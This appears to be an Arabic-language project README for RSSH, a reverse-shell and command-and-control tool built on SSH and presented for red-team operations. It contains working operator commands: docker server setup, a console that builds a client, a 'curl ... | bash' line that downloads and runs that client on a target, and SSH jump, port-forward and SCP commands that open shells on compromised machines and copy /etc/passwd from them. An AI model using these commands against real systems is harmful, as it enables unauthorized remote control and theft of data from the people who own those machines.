
أداة إدارة **reverse shell** تعتمد على SSH مع دعم أصلي لـ SCP/SFTP، وبروتوكولات نقل متعددة، وتوليد ملفات DLL لويندوز، وتنفيذ بدون ملفات لعمليات الفريق الأحمر.

(حقوق الفن لـ https://www.instagram.com/smart.hedgehog.art/)
هل تريد استخدام SSH للأصداف العكسية؟ الآن يمكنك ذلك.
SCP وSFTP أصلية لاسترداد الملفات من أهدافكhttp وwebsockets وtls وغيرها +----------------+ +---------+
| | | |
| | +---------+ RSSH |
| Reverse | | | Client |
| SSH server | | | |
| | | +---------+
+---------+ | | |
| | | | |
| Human | SSH | | SSH | +---------+
| Client +-------->+ <-----------------+ |
| | | | | | RSSH |
+---------+ | | | | Client |
| | | | |
| | | +---------+
| | |
| | |
+----------------+ | +---------+
| | |
| | RSSH |
+---------+ Client |
| |
+---------+
https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
يُوصى بإصدار الحاوية لأنه يتضمن الإصدار الصحيح من golang، ومترجمًا متقاطعًا لنظام windows.
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="<ssh_key>" -v ./data:/data reversessh/reverse_ssh
أو docker compose:
services:
reversessh:
image: reversessh/reverse_ssh
ports:
- "3232:2222"
environment:
- EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232
- RSSH_CONSOLE_LABEL=c2.label
- RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL
- SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}
volumes:
- ./data:/data
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
تدعم جميع الأوامر العلامة -h لعرض المساعدة.
بعد ذلك تعمل أوامر ssh المعتادة، ما عليك سوى تحديد خادم rssh الخاص بك كمضيف عبور.
# Connect to full shell
ssh -J your.rssh.server.internal:3232 dummy.machine
# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
# Start dynamic forward
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
# SCP
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
يمكنك العثور على وثائق أكثر اكتمالاً في مجلد docs. يتضمن ذلك ورقة مرجعية سريعة، واستكشاف الأخطاء وإصلاحها، والمزيد.
شكراً جزيلاً للأشخاص التاليين على تبرعهم لمشروع RSSH وجعل كل هذا العمل ممكناً!
chikamobina على تبرعاتهم السخية! wrighterase (ctrlzero) على مساهماتهم وتبرعاتهم!
Carapace هي شركة استشارات أمنية مقرها نيوزيلندا مع فريق موهوب للغاية!

أسهل طريقة لرد الجميل لمشروع RSSH هي من خلال العثور على الأخطاء، وفتح طلبات الميزات، والترويج له شفهياً للأشخاص الذين تعتقد أنهم سيجدونه مفيداً!
ومع ذلك، إذا كنت ترغب في إعطاء شيء لي مباشرة، يمكنك القيام بذلك إما من خلال Github Sponsors أو الإرسال إلى أي من المحافظ التالية:
Monero (XMR):
8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND
Bitcoin (BTC):
bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr